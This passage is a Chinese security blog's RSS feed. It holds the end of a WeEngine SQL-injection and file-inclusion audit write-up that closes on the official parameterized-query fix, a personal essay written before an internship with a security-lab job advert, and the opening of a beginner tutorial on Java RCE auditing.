Times;orphans: 4;text-align: start;white-space: pre-wrap;word-spacing: 0.85px;text-size-adjust: auto;background-color: rgb(255, 255, 255);text-decoration: underline;"><a href="https://www.kancloud.cn/hl449006540/we-engine-datasheet/1103484" target="_blank">https://www.kancloud.cn/hl449006540/we-engine-datasheet/1103484</a></span>）<span md-inline="plain" style="box-sizing: border-box;">：</span></span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.4186991869918699" data-s="300,640" style="" data-type="png" data-w="1476" src="https://wechat2rss.xlab.app/img-proxy/?k=664ec0af&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqPmmwgiaklVPDY5n04Im8CgiaPPSJgqOLicDyY9GNw37pct5PyDSV1HicicNBicQnxDEKSu8icyfAkmuDKg%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n83" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">则有：</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.5875451263537906" data-s="300,640" style="" data-type="png" data-w="2216" src="https://wechat2rss.xlab.app/img-proxy/?k=8c50fa1f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqPmmwgiaklVPDY5n04Im8CgsAy7FBWc3eMUlY7FLGlRuAibFvabNU5nia9iaMokjLHmOI9rQG1O0DxibA%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n85" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">成功执行代码</span><br/></p><h2 cid="n86" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.3rem;margin-top: 1rem;margin-bottom: 1rem;white-space: pre-wrap;border-bottom-width: 2px;border-bottom-style: solid;border-bottom-color: rgb(239, 112, 96);"><span md-inline="plain" style="box-sizing: border-box;display: inline-block;font-weight: bold;background-color: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;background-position: initial initial;background-repeat: initial initial;">0x06 漏洞修复</span></h2><p cid="n87" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">这个漏洞主要就是由 SQL 注入引起的，因此修复 SQL 注入后，后续的包含也没法继续利用了。</span></p><p cid="n88" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">官方修复方式如下：</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.30918727915194344" data-s="300,640" style="" data-type="png" data-w="2264" src="https://wechat2rss.xlab.app/img-proxy/?k=b7596533&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqPmmwgiaklVPDY5n04Im8Cg68WYFWGUSzBKsicBPTgNTPVKBRvLwpuwtctLZfiaEXwSNmnd8IDCKYBw%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n90" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">改成了微擎自带的参数化查询。</span><br/></p><h2 cid="n91" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.3rem;margin-top: 1rem;margin-bottom: 1rem;white-space: pre-wrap;border-bottom-width: 2px;border-bottom-style: solid;border-bottom-color: rgb(239, 112, 96);"><span md-inline="plain" style="box-sizing: border-box;display: inline-block;font-weight: bold;background-color: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;background-position: initial initial;background-repeat: initial initial;">0x07 写在最后</span></h2><p cid="n92" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">由于这个是老洞了，所以在搭建上坑点不少，但是漏洞很好理解。</span></p><p cid="n93" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">最后感谢续师傅的指导，周末还继续带我学习（膜~</span></p><h2 cid="n94" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.3rem;margin-top: 1rem;margin-bottom: 1rem;white-space: pre-wrap;border-bottom-width: 2px;border-bottom-style: solid;border-bottom-color: rgb(239, 112, 96);"><span md-inline="plain" style="box-sizing: border-box;display: inline-block;font-weight: bold;background-color: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;background-position: initial initial;background-repeat: initial initial;">0x08 参考</span></h2><p cid="n95" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://www.kancloud.cn/donknap/we7/134649" target="_blank">https://www.kancloud.cn/donknap/we7/134649</a></span></p><p cid="n96" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://www.kancloud.cn/hl449006540/we-engine-datasheet/1103542" target="_blank">https://www.kancloud.cn/hl449006540/we-engine-datasheet/1103542</a></span></p><p cid="n97" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://wiki.w7.cc/chapter/35?id=507" target="_blank">https://wiki.w7.cc/chapter/35?id=507</a></span></p><p cid="n98" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://gitee.com/we7coreteam/pros/commit/1f5ffb82836f7602f3acbaf9e93e9aa087c93579" target="_blank">https://gitee.com/we7coreteam/pros/commit/1f5ffb82836f7602f3acbaf9e93e9aa087c93579</a></span><span md-inline="plain" style="box-sizing: border-box;">)</span></p><p cid="n171" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><br/></p>



<p><a href="https://www.cnpanda.net/codeaudit/863.html">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=d0d93cbd&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4MzYxODA4Mw%3D%3D%26mid%3D2247483828%26idx%3D1%26sn%3D28483018e9e4b305c867af71a47422a1%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 31 May 2021 12:01:00 +0800</pubDate>
    </item>
    <item>
      <title>写在实习前</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4MzYxODA4Mw==&amp;mid=2247483811&amp;idx=1&amp;sn=b07d3c15f687cf9df84f5e40420d117b</link>
      <description>写在实习前，对前一段时间的自己总结。</description>
      <content:encoded><![CDATA[<p>
原创 <span>p4nda</span> <span>2021-05-26 14:42</span> <span style="display: inline-block;"></span>
</p>

<p>写在实习前，对前一段时间的自己总结。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=d4ff0738&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fcibr2n69ehmpkzlO3aAEJvpapneULhqsR0RmaSL0RHHoGYkkWB03vdDgYW9QSrCOmBDIX7O8KLh80nBqg7Zplicw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.45" data-s="300,640" style="" data-type="png" data-w="640" src="https://wechat2rss.xlab.app/img-proxy/?k=58d687c7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpkzlO3aAEJvpapneULhqsRAnJe6c2qJjF9aL8VuAKqGYuOv8tuXKDDXVqeLLVRkxHUXQCprpia5zQ%2F640%3Fwx_fmt%3Dpng"/></p><section style="text-align: left;margin-bottom: 15px;"><strong style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 24px;text-align: justify;">写在前面</strong><br/></section><section style="margin: 0px 0px 1.2em !important;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">上高中的时候，老师们总是和我们说，“等考上大学你们就解放了”。</span></section><p style="margin: 0px 0px 1.2em !important;">所以高中的时候总是憧憬着上大学，想着上大学后可以尝试高中时期没有时间做的事情。</p><p style="margin: 0px 0px 1.2em !important;">计算机，便是这些事情中最重要的一件事。</p><p style="margin: 0px 0px 1.2em !important;">所以，在当时最热门的专业是土木工程的时候，高考选志愿时我毅然选择了那是不愠不火的计算机。</p><p style="margin: 0px 0px 1.2em !important;">于是，从大学，到研究生二年级，6 年。</p><p style="margin: 0px 0px 1.2em !important;">到现在算是要正式开始一段时间的工作了，觉得一定要写下来什么。</p><h5 style="margin: 1.3em 0px 1em;padding: 0px;font-weight: bold;font-size: 1em;"><span style="font-size: 24px;"><strong>感谢读研生涯</strong></span></h5><p style="margin: 0px 0px 1.2em !important;">离开学校前和学长们吃了三顿离别饭的，估计也就我独此一家了。</p><p style="margin: 0px 0px 1.2em !important;"><img class="rich_pages js_insertlocalimg" data-ratio="0.45" data-s="300,640" style="text-align: center;white-space: normal;" data-type="png" data-w="640" src="https://wechat2rss.xlab.app/img-proxy/?k=fb643ace&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpkzlO3aAEJvpapneULhqsRHbYMDqQmXBlicwrxoG4BiaBgJggJGyZ0IjReqFKUorwFrT2xO3pWEJKA%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin: 0px 0px 1.2em !important;">如果以选择对了导师，有一群很棒的师兄弟、师姐妹来给读研打分，那我一定是满分。</p><p style="margin: 0px 0px 1.2em !important;">非常感谢他们给我的支持和帮助。</p><p style="margin: 0px 0px 1.2em !important;">唯一有些遗憾的是不能参与他们的毕业礼了。</p><p style="margin: 0px 0px 1.2em !important;">祝愿他们前程似锦、每个人过上自己想要的生活！</p><p style="margin: 0px 0px 1.2em !important;">另外，师弟师妹们加油呦~<br/></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.45" data-s="300,640" style="" data-type="png" data-w="640" src="https://wechat2rss.xlab.app/img-proxy/?k=5a1073d9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpkzlO3aAEJvpapneULhqsRUrwhiaBwdhtjPwSUiamPiarAGAz0jylJhCgla77JP3suZQqiaBMVEVmQCA%2F640%3Fwx_fmt%3Dpng"/></p><h5 style="margin: 1.3em 0px 1em;padding: 0px;font-weight: bold;font-size: 1em;"><span style="font-size: 24px;"><strong>面试其实不容易</strong></span></h5><p style="margin: 0px 0px 1.2em !important;">一面的面试官很有耐心。</p><p style="margin: 0px 0px 1.2em !important;">其实第一次面试真的很紧张，但是聊着聊着其实感觉并没有那么想象中那样咄咄逼人，相反他会告诉你你回答不全或者不会的问题。</p><p style="margin: 0px 0px 1.2em !important;">二面面试官很有深度。</p><p style="margin: 0px 0px 1.2em !important;">二面面试的时候，面试官提到了很多深入性的问题，其中有些问题我至今还在思考如何去解决的——从一无所知，到如今有些头绪。</p><p style="margin: 0px 0px 1.2em !important;">三面面试官很有广度。</p><p style="margin: 0px 0px 1.2em !important;">三面面试的时候，我见识到了什么是安全的广度，安全应该是什么样的一个状态，安全研究真的就是单纯挖漏洞吗？有句话我记忆深刻，安全研究，挖漏洞仅仅是体现，但不是目的。</p><p style="margin: 0px 0px 1.2em !important;">HR面很和蔼。</p><p style="margin: 0px 0px 1.2em !important;">脉脉上都说阿里的 HR面试的时候可能会很有“阿里味”，但给我的感觉是很和蔼，全程就是想告诉你，她想认识你，了解你是一个什么样的人，有什么样的性格，遇到困难你是怎么样去解决的。</p><p style="margin: 0px 0px 1.2em !important;">几面下来其实并不容易，之前自我总结的知识其实并没有问多少，问的很多问题都是实际中应该如何去解决的问题，非常具有实践性。二面和三面之间隔了十几天，其实等待是最难的，但幸运的是，结果是好的。也十分感谢非攻实验室给的这次实习机会。</p><p style="margin: 0px 0px 1.2em !important;">最后，内推人是自己的 mentor 是什么一种体验？附图</p><p style="margin: 0px 0px 1.2em !important;"><img class="rich_pages js_insertlocalimg" data-ratio="0.49848024316109424" data-s="300,640" style="text-align: center;white-space: normal;" data-type="png" data-w="658" src="https://wechat2rss.xlab.app/img-proxy/?k=e396f27d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpkzlO3aAEJvpapneULhqsRCicF5qKcyMePljXg6XjkbVpXiaSoyosjLEqWXicIibd4YumhDKZOy86JHQ%2F640%3Fwx_fmt%3Dpng"/></p><h5 style="margin: 1.3em 0px 1em;padding: 0px;font-weight: bold;font-size: 1em;"><span style="font-size: 24px;"><strong>还是要向前走的</strong></span></h5><p style="margin: 0px 0px 1.2em !important;">其实计算机这个行业不容易。</p><p style="margin: 0px 0px 1.2em !important;">可能几年前提到计算机想到的关键词是【高薪】，但现在最多的是【内卷】。</p><p style="margin: 0px 0px 1.2em !important;">如果评价2021 年脉脉出现频率最多的关键词，我想那一定是【内卷】。</p><p style="margin: 0px 0px 1.2em !important;">所谓【内卷】就像是一种剧场效应，本来看戏的人都有座位，可是前排有些人为了看得更清楚，站了起来，后面的人不得不站起来，直到所有的观众站起来。这样的结果是，大家都付出了更多的努力，得到的结果却和以前一样，甚至还不如从前。更最要的，你没法坐下了。</p><p style="margin: 0px 0px 1.2em !important;">【内卷】的原因有很多，比如这一行业的人越来越多了、要求越来越高了、竞争激烈了，形成的压力越大，内卷程度也就越高。</p><p style="margin: 0px 0px 1.2em !important;">但在我看来，实际上，我的专业是我自己选的，安全方向是我自己选的，工作也是我自己选的，这些是我喜欢做的事情，我愿意为自己的主动选择而付出努力——如果被不喜欢的失误裹挟和碾压才是真正的内卷吧。</p><p style="margin: 0px 0px 1.2em !important;">也许我像是一个初入社会的、背离使用主义的年轻人，会走弯路，会遇到困难，会碰南墙，甚至被显示鞭挞，但其实我想我也是有收获的——成长。</p><p style="margin: 0px 0px 1.2em !important;">这么多时间的寻觅过程中，也一定会接触到生活更坎坷也更本质的一面，生活不易。</p><p style="margin: 0px 0px 1.2em !important;">但，认清生活的真相并且仍然热爱它不正是一种态度吗？</p><blockquote class="js_blockquote_wrap" data-type="2" data-url="" data-author-name="" data-content-utf8-length="154" data-source-title=""><section class="js_blockquote_digest"><section><p style="margin: 0px 0px 1.2em !important;">总有一天，那些勇敢向着月亮奔跑的少年会发现，最奢侈的也最高级的体验，是为自己喜欢的人和事付出，幸福没有捷径，他们也许还不明白自己要什么，但庆幸的是，他们已经知道自己不要什么。</p><p style="margin: 0px 0px 1.2em !important;">每个时代都有每个时代的机会，在现在的时代你更是有权利选择自己的生活——对自己有意义，而非仅仅有用的生活。</p><p style="margin: 0px 0px 1.2em !important;">祝年轻的你心里有火，眼里有光。</p></section></section></blockquote><p><br/></p><p style="margin: 0px 0px 1.2em !important;"><span style="background-color: rgb(248, 248, 248);font-family: Consolas, Inconsolata, Courier, monospace;font-size: 0.85em;white-space: pre-wrap;"></span><br/></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><h5 style="margin: 1.3em 0px 1em;padding: 0px;font-weight: bold;font-size: 1em;"><span style="font-size: 24px;"></span><br/></h5><h5 style="margin: 1.3em 0px 1em;padding: 0px;font-weight: bold;font-size: 1em;"><span style="font-size: 24px;"><strong>【非攻实验室】招人</strong></span><br/></h5><p style="margin: 0px 0px 1.2em !important;">最后，继续帮 mentor 招人。</p><p style="margin: 0px 0px 1.2em !important;"><strong>蚂蚁非攻实验室简介</strong></p><p style="margin: 0px 0px 1.2em !important;">蚂蚁安全非攻实验室是蚂蚁九大安全实验室之一，致力于JAVA通用基础技术和产品的安全研究，为支付宝金融级基础设施（如：蚂蚁云原生基础设施）提供强大安全保障，助力提升行业安全水位。</p><p style="margin: 0px 0px 1.2em !important;">自成立以来，实验室获得多项行业领先研究成果，曾在顶级破解大赛-天府杯获得JAVA最高额奖金，多次获得来自Apache、Oracle、IBM、Sonatype等国际大厂的安全致谢。</p><p style="margin: 0px 0px 1.2em !important;">实验室技术氛围浓厚，拥有多位领域内经验丰富的老司机，入职立即由老司机手把手带飞。</p><p style="margin: 0px 0px 1.2em !important;">实验室正在扩张期，欢迎【热爱安全技术，对于安全研究拥有一颗追求又向往的心】的22届（2021.11到2022.10毕业）学弟学妹加入我们！</p><p style="margin: 0px 0px 1.2em !important;"><strong>【安全研究工程师】</strong></p><p style="margin: 0px 0px 1.2em !important;">要求：</p><p style="margin: 0px 0px 1.2em !important;">1、计算机基础、网络基础扎实。</p><p style="margin: 0px 0px 1.2em !important;">2、 熟练使用Java、Python、C、C++等任意一门编程语言。</p><p style="margin: 0px 0px 1.2em !important;">3、了解常见安全漏洞的成因、修复、原理。</p><p style="margin: 0px 0px 1.2em !important;"><br/>加分项（没有也行）：</p><p style="margin: 0px 0px 1.2em !important;">1、复现过Java漏洞</p><p style="margin: 0px 0px 1.2em !important;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">2、对安全某一领域比较熟悉，有深入钻研过最好</span></p><p style="margin: 0px 0px 1.2em !important;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">3、</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">对云原生技术栈有一定的了解</span></p><p style="margin: 0px 0px 1.2em !important;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">4、</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">有CVE、或者 开闭源组件漏洞挖掘经验</span></p><p style="margin: 0px 0px 1.2em !important;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">5、</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">CTF拿过名次</span></p><p style="margin: 0px 0px 1.2em !important;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">6、</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">给国内外知名SRC提交过漏洞</span></p><p><br/></p>



<p><a href="https://www.cnpanda.net/life/853.html">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=b930c5b7&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4MzYxODA4Mw%3D%3D%26mid%3D2247483811%26idx%3D1%26sn%3Db07d3c15f687cf9df84f5e40420d117b%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 26 May 2021 14:42:00 +0800</pubDate>
    </item>
    <item>
      <title>【Java 代码审计入门-05】RCE 漏洞原理与实际案例介绍</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4MzYxODA4Mw==&amp;mid=2247483798&amp;idx=1&amp;sn=4b726034a0f7438cdf484fe99a0e60e1</link>
      <description>【Java 代码审计入门-05】RCE 漏洞原理与实际案例介绍</description>
      <content:encoded><![CDATA[<p>
原创 <span>p4nda</span> <span>2021-05-09 00:00</span> <span style="display: inline-block;"></span>
</p>

<p>【Java 代码审计入门-05】RCE 漏洞原理与实际案例介绍</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=1534f931&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fcibr2n69ehmpkFJ4el7e3r03jkuuJJeB18Gfr1smBwBSl2v4kuWkcyd7iblLFf0dfJMyyaBQ2zAVXyM8Z3D5nblA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h2 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 22px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">0x00 写在前面</h2><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">为什么会有这一些列的文章呢？因为我发现网上没有成系列的文章或者教程，基本上是 Java 代码审计中某个点来阐述的，对于新人来说可能不是那么友好，加上本人也在学习 Java 审计，想做个学习历程的记录和总结，因此有了本系列的文章。</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">本系列的文章面向人群主要是<strong style="box-sizing: border-box;color: rgb(0, 0, 0);">拥有 Java 基本语法基础的朋友</strong>，系列文章的内容主要包括，审计环境介绍、SQL 漏洞原理与实际案例介绍、XSS 漏洞原理与实际案例介绍、SSRF 漏洞原理与实际案例介绍、RCE 漏洞原理与实际案例介绍、包含漏洞原理与实际案例介绍、序列化漏洞原理与实际案例介绍、S2系列经典漏洞分析、WebLogic 系列经典漏洞分析、fastjson系列经典漏洞分析、jackson系列经典漏洞分析等，可能内容顺序会略有调整，但是总体内容不会改变，最后希望这系列的文章能够给你带来一点收获。</p><h2 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 22px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">0x01 前戏</h2><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">下载 RCE 测试源码：</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><a href="https://github.com/cn-panda/JavaCodeAudit" target="_blank">https://github.com/cn-panda/JavaCodeAudit</a></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">导入项目，可以得到以下目录：</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="1.2663755458515285" data-s="300,640" style="" data-type="png" data-w="458" src="https://wechat2rss.xlab.app/img-proxy/?k=6da8675f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpkFJ4el7e3r03jkuuJJeB1bWCMpJhGInuib4B7HwicZk8yvWQX9d6Qd0VgY3Lrrsibib2OFlPkJ6rOog%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">项目是一个简单调用类方法去执行相关操作的实现。在 servlet 层接受到请求后，调用 rceTest中的CommandFound函数，该函数接受三个参数：command、method、str，command 为要执行的命令类，method 为要执行的方法，str 为要执行的内容。<br/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">本项目模拟用户从web 端向服务器发起添加、删除、修改等操作，该操作通过调用 Command 类中的AddCommand/DeletcCommand/ModifyCommand等方法，去实现请求。</p><p><span name="menu_index_4" style="box-sizing: border-box;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);"></span></p><h2 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: 